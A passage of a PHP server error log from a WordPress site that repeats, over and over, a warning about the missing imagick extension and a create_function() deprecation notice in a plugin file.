(/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 18:34:58 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 18:35:25 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 18:35:25 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 18:35:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 18:35:36 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 18:35:58 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 18:35:59 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 18:36:08 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 18:36:08 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 18:36:32 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 18:36:32 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 18:36:50 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 18:36:50 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 18:37:13 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 18:37:13 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 18:40:50 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 18:40:50 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 18:42:09 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 18:42:09 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 18:42:27 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 18:42:27 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 18:42:44 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 18:42:44 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 18:42:58 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 18:42:58 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 18:43:25 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 18:43:25 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 18:43:45 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 18:43:45 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 18:44:19 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 18:44:19 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 18:44:49 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 18:44:49 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 18:45:08 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 18:45:08 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 18:45:26 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 18:45:26 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 18:45:58 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 18:45:58 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 18:46:12 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 18:46:12 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 18:46:27 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 18:46:27 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 18:46:52 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 18:46:52 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 18:47:14 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 18:47:14 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 18:47:26 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 18:47:26 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 18:47:50 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 18:47:50 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 18:56:40 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 18:56:40 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 19:58:02 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 19:58:02 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 20:59:01 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 20:59:01 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 22:00:13 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 22:00:13 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 23:01:02 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 23:01:02 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 00:02:02 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 00:02:02 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 00:18:08 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 00:18:08 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 00:18:23 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 00:18:23 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 00:19:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 00:19:36 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 00:19:56 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 00:19:56 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 00:20:35 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 00:20:35 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 00:20:52 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 00:20:52 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 00:22:10 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 00:22:10 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 00:22:24 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 00:22:24 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 00:22:50 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 00:22:50 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 00:23:04 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 00:23:04 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 00:23:57 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 00:23:57 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 00:24:44 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 00:24:44 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 00:25:02 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 00:25:02 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 00:25:37 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 00:25:37 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 00:26:29 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 00:26:29 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 00:26:46 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or 